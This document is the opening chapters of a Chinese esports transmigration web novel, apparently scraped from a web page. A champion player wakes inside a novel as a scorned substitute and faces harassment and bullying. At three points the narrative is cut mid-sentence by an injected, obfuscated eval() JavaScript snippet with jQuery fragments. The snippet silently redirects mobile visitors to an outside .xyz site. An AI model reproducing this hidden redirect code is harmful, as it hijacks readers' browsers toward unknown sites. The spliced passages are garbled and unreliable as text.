《万人嫌的电竞修罗场》
1. 抱一丝啊
“我们是冠军——”
“我们做到了,我们真的做到了,属于LPL的S赛三连冠!”
“三年前,我们拿到第一个冠军,有人说是侥幸!”
“去年,我们拿到第二个冠军,有人说Freeman已经26岁了,LPL是强弩之末!”
“但是今年,我们拿下了三连冠!Freeman这个名字,再次响彻在每一个英雄联盟玩家心头!”
“再说一次:我们是冠军!!!”
......
在解说们歇斯底里的呐喊声中,直播镜头里出现一张极为俊美的脸。
男人摘下耳机,随意束起的长发散落几根在光洁的额头,掩映着一双潋滟生辉的漂亮杏眼,白到有些透明的皮肤在聚光灯下仿佛绸缎。
即使身旁的队友已经崩溃大哭,即使观众席“Freeman牛逼”的吼声震耳欲聋,他饱满的唇瓣上也只是浮现出淡淡的笑意,仿佛这场胜利,只是探囊取物。
直到身侧的队友一把将他拥入怀中,眼泪蹭上他纤细优美的脖颈,才叫人反应过来,这可是一场4:3取得的艰难胜利。
他们再次战胜了来自LCK的强敌,将这个全国期待了整整十年的奖杯,再次留在华国。
随着这张俊美无俦的脸孔的出现,全华国的大学宿舍都不约而同爆发出尖叫:
“Freeman牛逼!”
“LPL牛逼!”
“我们是冠军!”
......
震耳欲聋的咆哮声中,钟不拘带着浅笑,和队友一同举起S赛冠军奖杯。
镁光灯给他白皙的皮肤镀上一层辉光,在胜利的金雨装点下,让人分不清举起奖杯的人和奖杯谁更耀眼。
“最后一个问题,我想问Freeman。”狂欢过后的采访上,女记者毫不犹豫将最后一个问题抛给第三次蝉联FMVP的钟不拘。
方才记者们已经把赛事问了个底朝天,按照惯例,最后几个问题都是纯粹的娱乐问题,往往是笑点和爆梗诞生的地方。
而这恰好是他不擅长的,钟不拘把额间的发丝别向耳后,声线轻柔淡漠:“请说。”
“想必这也是我们LPL观众,尤其是女观众都在意的问题。”女记者脸上带着意味深长的笑容,“请问Freeman的理想型,是什么样子?”
话音刚落,记者席和场外未散去的观众都爆发出一阵起哄的笑声,有好事者大喊:“胡说!男观众也在意!”
钟不拘抿了抿唇,原本红润的唇上泛起些许白,修长的指尖又一次绕过耳后的发丝。
教练深谙他的脾气,这位赛场上叱咤风云举重若轻的大神,一旦面对脱离电竞的问题,总是这么一副可怜委屈无助的样子。
“Freeman,你害羞什么,不会是喜欢我这类型吧?”教练拍了拍自己光滑的脑门,引起场内一片哄笑。
“教练你胡扯!”其他队员跟着起哄,“队长要喜欢也喜欢我!比你年轻比你帅!”
“队长,你说是不是?”几个年轻队员趁着夺冠的喜悦,非要从他那拿到好处。
钟不拘嘴角挂着浅笑,轻叹了口气,没有说话。
夺冠的庆典一直延续到后半夜才结束。
一开始还是战队内的纵情狂欢,等到各路领导和赞助商代表赶到后,场面也变得愈发官方严肃。
钟不拘一向不喝酒,但是面对这个局长那个老总的敬酒,他终究是要给个面子。
等到他回到酒店房间,步伐已经有些凌乱。打发走搀扶他的工作人员后,整个人径直坠入门后的小沙发。
他的长发在肩头散开一片,白皙的皮肤因为酒精泛起绯红。
钟不拘斜靠在沙发上,呼吸有些乱,修长的手指从队服口袋里勾出手机,对着只有寥寥几个应用的界面反复划了几次。
除了手机自带的基础应用,他只下载了几个赛事直播平台,以及几个读书软件。
教练说他这是走火入魔,生活除了训练就是观赛,甚至休赛期都只知道捧着手机看胡诌八扯的电竞小说。
“电竞就是我的一切,你说是吧。”他定了定神,终于点开相册,从收藏夹里找到一张男人的照片。
照片里的男人在电脑前咧嘴笑着,还算开朗英俊,看起来也是不到三十岁的年纪。
钟不拘垂眸盯着手机屏幕,轻柔的声线难得带上一点焦躁:“队长,我又......我又拿了S赛冠军,你看见没有?”
“你说你这辈子拿一个就满足了,我已经拿了第三个了......”
迎接他的只有沉默。
“你......你说我训练不认真,但现在我已经拿了,拿了三个FMVP了,只要我还打一天,我就是世界冠军......”
钟不拘手指轻划手机屏幕,下一张,是男人的黑白照。
“你到底什么时候回来!你说过不会抛下我的!”
手机砰然坠地,他缩在沙发上昏睡过去,浓密的睫毛上晶莹斑驳。
......
钟不拘再次醒来时,只感觉迷蒙的光线刺入双眼,他想抬手挡住眼睛,但浑身仿佛灌了铅一般动弹不得。
头也疼得厉害,脑海中都是混乱破碎的场景,只要一思考就像是被钢针扎进太阳穴。
不能再醉,会影响反应速度。钟不拘非常后悔。
用尽全力挣扎了十分钟,他终于协调着右手拽住身上的薄被,挡住了双眼。
然而,在光线熄灭的瞬间,他滞涩的思绪终于反应过来:自己明明倒在酒店的沙发上,这床被从哪里来的?
顾不上浑身酸疼,钟不拘掀开被子猛然起身,发现自己竟然真置身于酒店床上。
寒意刚从后脊升起,在艰难地转过头的瞬间,他的脑海炸成一片空白——
旁边还睡了个男人。
不待看清男人的脸,钟不拘感到被什么踹了一脚,整个人连滚带爬坠落床下,砸得厚实的地毯发出一声闷响。
疼痛让他昏沉的大脑清明些许,他当即探手去抓床头柜上的手机。他要报警。
然而,一只修长有力的手捏住了他的手腕,掌心的炽热烫得他浑身瑟缩。
“呵,你怎么爬上了我的床?”
床上的陌生男人声音低沉嘶哑,尾音带着淡淡的嘲讽:“你也配?”
顺着对方肌肉结实的小臂,钟不拘抬眼看去。
只见男人半裸的上身线条紧实利落,锋利的剑眉之下是一双狭长上挑的眼。
此时这双眼正居高临下看向他,如同看垃圾,又如同看猎物。
钟不拘隐隐觉得熟悉,却无论如何想不起来曾见过这样一张脸。无暇为对方的挑衅愤怒,他发力从对方掌中抽回手臂,白皙的皮肤上留下浅浅红痕。
“你是谁?”他的浓密眼睫微微扬起,饱满的唇失了血色。
看对方这副模样,男人愣了一下,随即扬起唇角:“别以为我不知道你什么心思,昨天爬上我床的时候,怎么不装清纯?”
“说不定我喜欢纯的,就如你心意,把你弄了呢?”
男人轻挑起一侧眉头,饶有兴趣地观察着对方的反应。
话都说到这份上,他很期待看这张漂亮的脸上出现愤怒、羞耻,甚至是懊悔的情绪。
但是,让他失望的是,钟不拘的神色波澜不惊,甚至连方才跌下床的惊慌都消失无踪。
钟不拘一双杏眼如深潭,语气轻柔平淡:“你不说你是谁,那可以告诉我,我是谁吗?”
“靠,”男人被他这副模样彻底激怒了,“钟不拘,你的脸皮怎么能厚到这种程度?”
钟不拘闻言长舒了一口气,把视线从男人脸上移开:“那我知道了。”
虽然刚刚指责对方轻浮,但钟不拘移开注视的瞬间,男人却感受到了莫名的被轻视的失落。
他记得就在一天前,这个默默无闻的替补队员,还总会用谄媚的眼神看向自己,祈求自己的垂怜。
那时候他只觉得食之无味弃之可惜,于是便享受着对方崇拜仰慕的目光。但如今,这种美妙的体验被对方的淡漠击碎了
“你又知道什么了?!”男人语气强硬如同怒吼。
钟不拘的眼神却再也没有落到他身上。仿佛预知到什么一般,钟不拘抬手拨开肩头的碎发,拽开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945139|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
队服领口,露出一截瘦削如蝶翼的肩膀。
他忍着浑身酸痛扭过头,发现锁骨上方一个青紫色的牙印,缀在白皙的皮肤上分外显眼。
男人的喉咙重重咽了一下:“还不是你趁我喝醉送上门,不然我怎么会咬你?你可别想.....”
钟不拘无视他的躁狂,对着肩上的咬痕微微皱眉。这道痕迹彻底肯定了他的猜想。
在方才清醒的瞬间,他就观察到酒店房间内的布置,和他醉倒的那间并不一样。而且男人张狂自大的模样,也不像什么法外之徒。
那么,自己大概率是经历了什么超自然事件,譬如穿书。
他训练之余读过的小说不多,且全部是电竞小说,所以他需要确定自己穿进了哪本书,以便决定如何自处。
“不好意思啊哥,一来就上了你的床......”
他甚至想过,是不是要先说这句话。
不过此刻他已经确定,对方既然还称呼自己为钟不拘,那么他大概率是不需要的。
他应该是穿进了一本黑粉的意淫之作。
钟不拘几个月前接触到这本书,还是因为粉丝在俱乐部官博下请愿,要求俱乐部起诉作者侵犯了他的名誉权。
出于好奇,钟不拘大致读了这本小说——
书中这个同名角色堪称可恨又可怜,他是新晋豪门BIG战队的二队替补中单,一个实力平庸的无名小卒,但他却不把心思放在游戏上,一心想着靠出卖色相上位。
于是,他把目标锁定在了原书攻,一个叫裘度的电竞选手身上。
按照书里的描述,裘度是老牌劲旅VHG战队的首发上单。此人实力强悍打发凶猛,更重要的是玉树临风英俊非凡,是华国电竞圈首屈一指的男神。
于是为了追求裘度,“钟不拘”使出了很多令人不齿的手段,譬如趁着选手大会对方喝得半醉,爬上了对方的床。
不过,按照书里的描述,裘度并没有如他所愿“深度交流”,只是占了点便宜,啃了他两口。
然后就把这个谄媚又无用的花瓶一脚踢开,追求纯洁的真爱去了。
回想起剧情,钟不拘不禁窃喜两人没什么实质进展。毕竟他在读小说时,只觉得这个主角攻自恋暴躁,多少带点超雄。
而且,或许是作者对游戏理解不深,他能从赛事描写中看出对方打法的不少破绽,这让他对裘度更没有兴趣。
看着床下的钟不拘虽然衣衫不整,但神态却分外笃定,裘度心里莫名烦躁不安。
他俯下身,一把握住对方精巧的下巴:“你他妈在想什么坏主意?”
“要是你敢公开说什么,信不信老子让你永远打不了比赛!”裘度英俊的脸上写满暴戾,指尖暗自使力,感受着对方脸颊的温软细腻。
真是美丽的脸蛋,但仿佛自己只要用力就能捏碎。
裘度喜欢这种感觉。
“放心,我不会。”
由于被捏住脸颊的缘故,钟不拘口齿不算清晰,配上裘度指尖划过的红痕,显得竟有几分可怜。
他抬手试图掰开对方的手掌,但裘度肌肉线条分明的小臂纹丝不动。
“还是这幅低三下四的样子适合你。”裘度心中被对方忽视的不爽荡然一空,嘴角得意地扬起。
他这才放松了力道,指尖不无故意地划过细腻柔软,欣赏着对方的狼狈模样。
裘度甚至有点后悔,昨夜或许应该顺水推舟,把这家伙压在身下狠狠地弄了,看他还能不能摆出方才的高傲姿态。
裘度忍不住幻想,这张漂亮的脸在失控时候是什么表情。
他长长的睫毛,会不会随着自己每一次的进攻而颤抖,就像一只濒死的蝴蝶,一面流泪一面央求自己再进一步?
这些想法,让裘度恼怒、后悔、又兴奋。他斟酌着是否要给对方成为自己床伴的机会,就见那双饱满诱人的嘴唇微启。
“我丢不起这人。”
钟不拘声音不大,语气甚至温柔平静,以至于裘度在大脑处理过来之前,还以为他在求饶。
但是下一秒,钟不拘一把握住床头的矿泉水瓶,不由分说地淋在了裘度那张陶醉的脸上。
2. 臭弟弟
裘度还沉浸在驯服美人的快感中,下一秒就被淋了个透心凉。
他足足用了几十秒才反应过来,这个一直被他鄙夷,被他的队友调侃为“花瓶舔狗”的BIG战队小替补,不仅没因为和自己共度春宵沾沾自喜,反倒以此为耻。
看着水滴从发尖滴滴答答地坠下,裘度只觉得肺都快要气炸——
他可是联盟首屈一指的明星选手,粉丝们一人一口唾沫都能淹死钟不拘这个无名小卒。
更别说他的梦男梦女们,要是知道这人趁他喝醉钻进他的被窝,怕是能把钟不拘生吞活剥!
但是现在,留给暴怒的他的,只是钟不拘一个单薄却挺拔的背影。他步伐很快,发丝飘动在白皙的后颈,每一次抖动都像挠在裘度心头。
“站住!”裘度怒吼道。
钟不拘当然不会理他,他可不想和被激怒的裘度共处一室,几乎是一路小跑,他毫不犹豫推开了酒店房门。
裘度已经跳下床,长腿三步并做两步就要拦住钟不拘,但只差一指的距离,钟不拘已经冲了出去,他仓促停下脚步。
酒店房间外遍布摄像头,他可承担不起留下任何把柄。
钟不拘深知他的偶像包袱之重,走出房门的瞬间便放缓脚步,从容不迫地离开了。
裘度裸着半身站在门后,怒气几乎可以烧沸发间的水珠。但不知为何,他还是想确认那人会不会回头。
钟不拘没有回头。
快步走过酒店走廊的转角,钟不拘猝不及防撞上一道同样单薄的身影。这人比他矮半个脑袋,入目是一头羊毛卷。
“不好意思,撞到您了!”那人匆匆后退两步,道歉态度十分诚恳,声音还有点稚嫩。
等对方抬起头,钟不拘对上一双清澈的圆眼睛和带着点婴儿肥的小脸,脸颊红扑扑的,看起来相当清秀幼态。
钟不拘蓦然想起小说里对原书受的描述,一个清纯活泼可爱的电竞小主播,心想这位应该就是本尊了。
他回忆起小说中的情节,“钟不拘”被裘度赶出房间,恰好撞上来找他的原书受。
此时两人还在暧昧初期,“钟不拘”故作无意地向原书受显摆了颈上吻痕,害得攻受二人陷入不小的误会。
等到裘度去调来酒店监控,发现“钟不拘”是趁乱溜进自己的房间,便干脆利落地拉黑了一切联系方式,还让“钟不拘”沦为圈内笑柄。
不过现在,钟不拘可没有卷入恨海情天的兴趣,他想尽快回到俱乐部,开始训练。
他坚信对于职业选手,一天不训练都会影响手感。
事不宜迟,钟不拘轻声道了句“没事”,就要快步离开。
“麻烦等一下。”原书受一把拽住他的袖子。
“您、您好,我叫郁寻,”矮了半头的男生神色羞怯,“我好像见过您,您也是职业选手,对吗?”
“那个,您怎么......”郁寻咬住嘴唇,似乎是在犹豫该不该继续问下去。
钟不拘明白他在纠结什么,干脆道:“裘度在612房间,直走左转。”
郁寻闻言,大眼睛里泛起朦朦泪光,幼态的脸上是藏不住的失落:“......果然你们,在一起过夜,是吗......”
钟不拘无奈:“别多想,碰巧遇上罢了。”
他又要转身离开,无奈郁寻个子虽小,力气挺大,愣是拽着他的袖子不松手。
两人拉扯之间,钟不拘肩头队服向下滑落一点,正好露出白皙颈上狰狞的咬痕。
郁寻一看,顿时脑补出许多情节,情绪一下子崩溃了,眼泪如涛涛流水。
钟不拘心知,对于这种恋爱脑,解释不清怕是不会放自己离开,略带叹息道:“我对裘度没兴趣,你不用多想。”
郁寻隔着泪花看向钟不拘,心情有些怪异。
他以前也知道裘度的这个追求者还算好看,但从未发现他竟如此俊美。
看着对方蝶翼似的睫毛,平静如潭水的眼睛,以及下颌优美凌厉的弧度,加上远胜自己的挺拔身型,郁寻说不出是嫉妒还是欣赏。
他甚至有一瞬间觉得,裘度真的配得上人家吗?
不过这种想法,很快被他对裘度明星选手的身份的崇拜,以及对方帅气的外形和汹涌的男性荷尔蒙的向往吞没。
钟不拘见郁寻的眼泪终于止住了,当即要转身离开。不料郁寻还是牢牢拽着他的袖口,一张幼态的脸上情绪复杂。
要是被旁人看见,怕是还要误会他做了什么对不起人家的事。
“我能问一下......”郁寻声音越来越小,支吾道,“您为什么看不上裘哥?”
钟不拘没有犹豫:“他的实力还有进步空间。”
“实力?什么实力?”郁寻的脸莫名其妙红了一下。
钟不拘无心猜测对方想到了什么不可说之事,根据自己对小说中比赛的分析,客观道:
“竞技实力。他的上单打法看似凶悍,实则毛糙,我认为还需要打磨。”
郁寻被他这句话惊呆了,在他心中,裘度象征着华国电竞的最高水准,毕竟哥哥的粉丝都叫他“竞圈之光”。
反看钟不拘,虽然长得好看,却不过是个战队替补而已,他有什么立场说哥哥的实力不足?
正当郁寻犹豫着要不要为裘度辩驳两句,钟不拘终于拽开衣袖,头也不回地快步离开了。
刚走出几步,他就听见身后传来玻璃破碎的声音,裘度的吼声,以及郁寻的抽泣声,应该是这对痴男怨男开始对峙了。
对于原书攻受的纠葛,钟不拘无所谓。
他只想赶紧回到BIG战队的基地开始训练。
他记得,小说中的游戏是根据英雄联盟改编的5v5 moba游戏,叫做“勇者之冠”,英文名称是COW(Crown of Warriors)。
COW风靡全球,各大洲都有职业电竞战队,每年为了拿到世界联赛,也就是S赛的冠军,展开激烈角逐。
其中整体实力最强的是韩国赛区,其次是华国和欧美赛区。遗憾的是,华国赛区在遥远的第五赛季取得S赛冠军后,长达十年和冠军奖杯失之交臂。
想到这里,钟不拘心跳都快了半拍,略显苍白的漂亮脸蛋上难得闪过愠色。
他真的忍不了华国赛区如此羸弱。
虽然此时他已不在熟悉的世界,即将攻略的是一款陌生的游戏,但那人的话语依旧回荡在耳边,时而温柔,时而严厉——
“我没读过多少书,这些年打游戏也存不下太多钱。你要是想上学,我倾家荡产也供你到大学。你要是也想打游戏,就答应我倾尽全力,不要后悔。”
“小拘,我的愿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945140|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望就是能拿到S赛冠军,你要和我一起吗?”
“钟不拘,你要是自恃美貌就想走捷径,就干脆去娱乐圈发展好了,不要在战队浪费时间。不只是你的时间,还有全队的时间!”
“小拘,我快要二十八岁了,为什么S赛冠军,总是差那么一点?”
“我的时间不多了......就是遗憾,还没摸到过冠军奖杯......”
每每想起那人说过的话,钟不拘总是习惯性地打开手机,要看一眼那人的照片。
他在害怕,害怕漫长的岁月消磨掉自己对那人的记忆。
如果连记忆都没有了,他才是真的消失了。
然而,当他拿出手机,却发现机型早就落伍,屏幕上一道裂缝。他才意识到,这是“钟不拘”的手机,不是他的。
穿书前,作为全世界荣誉最多的电竞选手,他一场比赛能买几十上百个最新款手机。
当然他并不在意手机的新旧,只是想到再也看不见那人,心中凄然。
正当钟不拘对着屏幕惆怅,破旧的手机突然震动起来,打来微信视频的人被备注为“臭弟弟”。
据钟不拘的记忆,小说里的他和现实中一样,都是孤儿。只是作者为了体现对他的厌恶,还给他安排了个弟弟。
两人没有血缘关系,只是孤儿院中互相照拂,结尾兄弟。成年离开孤儿院后,二人依然以兄弟身份同居。
弟弟名叫尹宙,是个偶像歌手。
等到“钟不拘”被万人唾弃的时候,尹宙强大的粉丝军团为了撇清关系,还贡献了一波网暴,最终逼得他跳河。
钟不拘叹息作者的恶趣味,但此时手机顽强地震动着,他只能无奈接起视频。
视频对面是一个容貌精致、气质阳光的少年,染着一头时髦的粉色头发。
“哥,你可算接我电话了。”少年对着镜头无邪笑着,露出一颗虎牙,更显得清纯无害。
“选手大会开心吗?那个什么球,没有让你难堪吧?”少年热情地追问着,恰到好处地撅了下嘴:“如果他敢欺负你,我现在就去揍他!”
钟不拘自幼是孤儿,也没有兄弟姐妹,唯一称得上亲人的人就是队长。面对尹宙的热情,他一时不知所措,只能局促地“嗯”了一声。
“哥,可是你脸色好差,是不是不开心啊。”少年眨巴着明亮的眼睛,像只想讨好主人的小狗。
钟不拘理了下耳畔的碎发,挤出淡淡的笑意:“我没事。”
“哥,我们新学了一首歌,特别好听,我唱一段给你听啊。”少年目光灼灼,似乎能看穿他的逞强。
阳光俊朗的面容上露出担忧的神色,像一只摇晃尾巴的小狗,拼了命想哄钟不拘开心:“哥,开心点,好不好?”
钟不拘缺少应对亲情的经验,但这不代表他不向往。
在那人离开后,他时常得到旁人的崇拜、觊觎、嫉妒,但是这样纯粹的,即使此刻他一无所有也始终如一的关切,却是很稀少的。
钟不拘的表情又柔和了些,苍白的脸上浮现出淡淡血色,
衬得这张冷艳的脸如同初春时节冰雪初消的溪流,看得屏幕对面的尹宙心跳快了半拍。
尹宙的喉咙重重地哽了一下,他连忙用露出小虎牙的阳光笑容遮掩。
他心中的哥哥,可不是这样的。
3. 老板驾到
在尹宙看来,他哥是个美人,既庸俗又没脑子的那种。
长得足够好看,即使放在娱乐圈也能有一席之地,就是栽在了这颗恋爱脑上。
他不明白,为什么他哥在第一次见到裘度之后,就天天幻想着能当“嫂子”,满脑子都是那个超雄的可恨嘴脸,他那几千万粉丝,还有那点臭钱。
是,一年三千万的年薪,不是他这个还没出道的男团成员能比的。但是他才十八岁,早晚会红透半边天,三千万不也就是208*15而已吗?
他一米八八,十八厘米,有经得起镜头考验的外形,唱歌跳舞样样精通,到底哪里比裘度差?
每当气得不行的时候,尹宙总想起小时候,他和哥哥在孤儿院相濡以沫。每当有不长眼的要调戏他哥,他都是抡起砖头就冲。
有次碰上个战斗力很强的小混混,偏要和他哥亲嘴。他为了他哥出头,差点被人打到破相。
那时候,哥哥的怀抱只属于他一个人。
哥哥会贴在他血污杂乱的耳边温柔地说:“宙宙,不就是亲一下吗,没事的......虽然恶心,但他答应以后都给我们偷牛奶喝。”
那天晚上,他悄悄跟着哥哥,在混混的嘴唇离他哥只有一厘米时,用一根钢筋把对方的肩膀捅了个对穿。
好在没有捅到要害,混混在医院躺了几个月就康复了。但他因为这事被关了三个月禁闭,每天被护工们毒打。
他记得走出禁闭室的那天,哥哥漂亮的杏眼肿得像桃子,医生说他快要哭瞎了。
哥哥为了他伤害自己,他心疼哥哥,但又觉得......很爽。
想到这里,尹宙对裘度的怨恨就又加深一分,如果不是这个球的出现,哥哥依然只属于他一个人。
他想把哥哥锁在他们的小出租屋的那张窄床上,让哥哥的眼里只能看见他一个人,就连吃饭、喝水,甚至其他生理需求......都只能靠他解决。
钟不拘急着赶回俱乐部,仓促答应了尹宙为他唱歌的请求,但视频中的尹宙却突然沉默下来。
少年沾着金粉的睫毛在他明亮的眼上投下一层阴翳,配上尖锐的虎牙,钟不拘突然有一种金毛变成了恶犬的错觉。
他轻声催促:“还要唱吗?”
少年的表情又变得阳光灿烂:“哥,我突然想起新歌要保密,要不我给你唱首老歌吧!”
钟不拘不忍心拒绝,于是嗯了一声。
“我可以跟在你身后,像影子追着光梦游......(注一)”
少年声音清亮,但气息却很稳,全然不似偶像男团常见的肾虚唱法。即使钟不拘是个外行,也能感觉他唱得相当好。
尹宙一面唱着歌,一面用训练过的深情眼神看向屏幕那头。
这可是最出名的“暗恋金曲”,他试探着哥哥和那个球到底发展到了哪一步。
歌曲进入最苦情的部分,尹宙却越唱越迷茫。哥哥脸上不仅没有露出丝毫怅惘,反倒显得有点,不太耐烦。
他饱满润泽的嘴唇抿成一条平直的线,淡墨似的眉头微微抬起,双眼看似望向自己,又好像望着无穷的远方。
这可不像是暗恋,也不像失恋,反倒像是......腻了。
哥哥不会已经和那个臭男人搞上了?而且还发现那臭男人不太行?也是,电竞选手日日久坐,不行的概率很大......
混乱的思绪让尹宙的心跳和声线同时失控,副歌的最后几个字跑调严重,连身后的工作人员都忍不住瞟了他一眼。
“哥,对不起。”尹宙连忙露出可怜巴巴的表情:“从我到训练营开始,都一个月没见你了,我太想你了,都唱跑调了。”
“没事的。”钟不拘放下微微蹙起的眉头,脸上笑意清浅。
终于唱完了,可以去俱乐部训练了。
尹宙眨巴着眼睛,阳光英俊的脸上写满懊悔:“哥,我给你重新唱一个......”
话还没说完,尹宙就看着屏幕里的漂亮男人似乎轻叹了口气:
“心意领了,但我要去训练。”
“训练?”尹宙情不自禁皱眉,“哥你不是不喜欢训练吗......”
钟不拘将额前的碎发卷到耳后,斟酌着说辞。他不能坦言穿书这种超自然事件,不然在精神病院就没办法训练了。
“无论如何,情况有变。”他不善于处理游戏外的人际交往,直得一如既往一笔带过:“我现在需要训练。”
尹宙还没反应过来,对面就挂断了视频。
......
BIG俱乐部坐落在北城三环内的一幢气派的独栋别墅,环绕着别墅还有个小花园,立着西式风格的雕塑和喷泉。
俱乐部占地颇大,在寸土寸金之地闹中取静,可见实力不凡。
“爹的,遇上科学家了。”
“艹你别废话了,快来扶老子!”
刚一推开俱乐部大门,钟不拘就听见手游背景声和人声嘈杂一片。
顺着声音看去,几个二十出头的年轻人瘫在前厅的沙发上,每人横握着一部手机。
在沙发一侧停下脚步,钟不拘静静看着几人。
“哟,咱们钟贵妃回来了。”
开口人一头黄毛,松垮的T恤上印着奢侈品牌的巨大狗头,一面手指灵活地敲击着屏幕,一面抬眼对钟不拘露出轻浮的笑。
其余两人也起哄似得笑起来。
“怎么样,昨晚爬龙床成功了吗?”见钟不拘不语,黄毛继续得寸进尺:
“你们别说我真羡慕Lock,这么好看的我也想艹一艹,还不用花钱!”
“兄弟别说了,”坐在黄毛身边的人身材矮小,戴着副黑框眼镜。
听见黄毛艹来艹去的粗俗言论,也嘴馋似的舔了舔唇:“你也不怕Lock大神来揍你!”
“天啊,我好害怕啊!”黄毛配合地捂住胸口,表情夸张:“不过Lock那么凶残的人,说不定喜欢多人行呢,哈哈哈!”
三人猥琐地笑作一团,胖子抖动着一身横肉道:“差不多得了,你们看他那个样子,哪里像是睡了!别是被Lock从床上踹下来咯。”
一局终了,黄毛手机上出现“恭喜吃鸡”的字样,他得意地放下手机,看向钟不拘:
“你看你,打游戏菜也就罢了,连卖屁股都卖不明白!昨晚选手大会,哈巴狗一样贴到Lock身上,人家看都不看你!”
小眼镜附和道:“真丢我们BIG的人,要是被外人看见,都不知道我们是俱乐部还是夜总会!”
沙发上的三人期待地看向钟不拘,这个笨蛋美人一直是他们欺凌的对象。
他们都知道钟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945141|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不拘无父无母,家里没人撑腰,再加上实力不佳一直进不了一队,俱乐部管理层也睁一只眼闭一只眼。
再加上他长得精致漂亮,看他憋红双眼泫然欲泣的样子,总能让他们得到微妙的快感。
“诶呀,今天怎么不哭了?”胖子冲钟不拘抬了下并不存在的下巴,“还要哥几个加大力度啊!”
三人向钟不拘投去玩味的目光,却发现那张漂亮的脸上也像是凝了层霜。
多情的杏眼不仅没有落泪,反倒仿佛绸缎下藏着的窄刃,等待着刺穿他们的喉咙。
虽然知道面前站着的不过是俱乐部的废物花瓶,但三人不约而同闭上了嘴,互相投去困惑的眼神。
“怕个屁啊!”黄毛壮胆似的指着钟不拘,“你别以为勾搭上Lock我们就怕你!他也就是随手玩玩......”
听着黄毛的声音越来越弱,钟不拘这才开口。他的声音清亮,像是南方的小雨:“为什么玩手游?”
三人都以为自己听错了,一时谁也没有答话。
“为什么玩手游?”钟不拘又重复了一遍,语气温柔依旧。
小眼镜最先听懂钟不拘话里有话,狡辩道:“我们是在练习团队配合!”
“对对对,”黄毛也附和道,“每次考核都比我们分数低,你有什么好逼逼赖赖?”
钟不拘微微垂下眼,漆黑如潭水的眸子扫过三人:“手游的操作细节程度比端游差很多,而且你们甚至玩得不是moba,没办法真正训练配合。”
他的语气不带一丝感情,就像是一次茶余饭后的闲谈,丝毫听不出方才被三人折辱的愤怒。
被他的目光扫过,三人再轻浮话梗在喉咙,只觉得根根汗毛竖起。
钟不拘淡淡道:“今晚写一份检讨,把手机里的游戏删掉,联系经理每人工资扣五千。”
穿书前,作为华国FMVP数量最多的选手,同样是最资深的电竞大神、最受尊敬的队长,钟不拘早就习惯了如此管理战队。
直到看着三人的眼神从迷茫变为恼怒,他才想起如今已是世殊时异。
镀着金光的往事都如水逝去,只剩下眼前的一地鸡毛,钟不拘微不可见地叹了口气。
“这爬过Lock的床的人就是不一样啊,”黄毛最先从震惊中回过劲来,言语中的讥诮更甚:
“钟不拘,你是让Lock睡了,不是让哥几个睡了,怎么都忘了自己几斤几两?”
“胖子,去教教钟贵妃做人。”小眼镜使了个颜色,本就尖锐的声音又高了几分,“让他给咱们舔舔就原谅他。”
三人又爆发出轻浮的笑声,胖子似乎也不是第一次当打手,起身就像只黑熊扑向钟不拘。
钟不拘白皙颈间微微凸起的喉结梗了一下,他常年在电脑前度日,此刻两人相距不过一米,自然是避不开。
就在肥厚的大手要碰到他那光洁的肌肤时,钟不拘视野中蓦然出现一只手。
作为电竞选手,他对手非常敏感,目光不自禁被吸引。
他看见修长的手指和清晰但不突兀的骨节,以及用力时遒劲的青筋和血管。
“呵呵,大哥是给我留了个电竞俱乐部,还是搏击俱乐部?”
钟不拘身后传来低沉浑厚的男声,他闻到一阵淡淡的雪松气息,像是在日暮的森林听见晚钟。
4. 私生活混乱
方才还凶神恶煞的胖子,顿时就变了脸色,砂锅大的拳头软绵绵地垂下,显露不属于这个体重的虚弱。
钟不拘微微侧过头,正对上男人宽而平的肩膀,隔着白衬衫隐隐能看见发达的肌肉线条。
男人眼眶微微下陷,衬得墨蓝色的眼眸深邃。深棕色的浓密睫毛掩映下,这双眼微微向下觑着,显得矜贵又淡漠。
他的轮廓格外深邃立体,高挺的鼻梁上架着副无框眼镜。
皮肤很白,发丝向后梳理得一丝不苟,和浓密的眉毛都是不明显的棕色。
看起来成熟又禁欲,还有着掌控一切的威严。
“你叫什么?”男人声线低沉,薄唇在钟不拘颈间扫过温热的气流。
钟不拘努力搜索着记忆,却无论如何想不起来这是小说中的哪位。
“......”方才说错了话,钟不拘此时不愿贸然开口,垂下眼避开男人的注视。
正当此时,战队经理屁滚尿流地跑上前来,左脚踩右脚,满脸都是惊恐和谄媚:
“祁总,这是我们二队的替补,叫钟不拘,ID是......呃。”
钟不拘平淡道:“Freeman。”
男人冲身旁的助理抬了下眉,对方会意在笔记本上记着什么。
经理想死的心都有了。
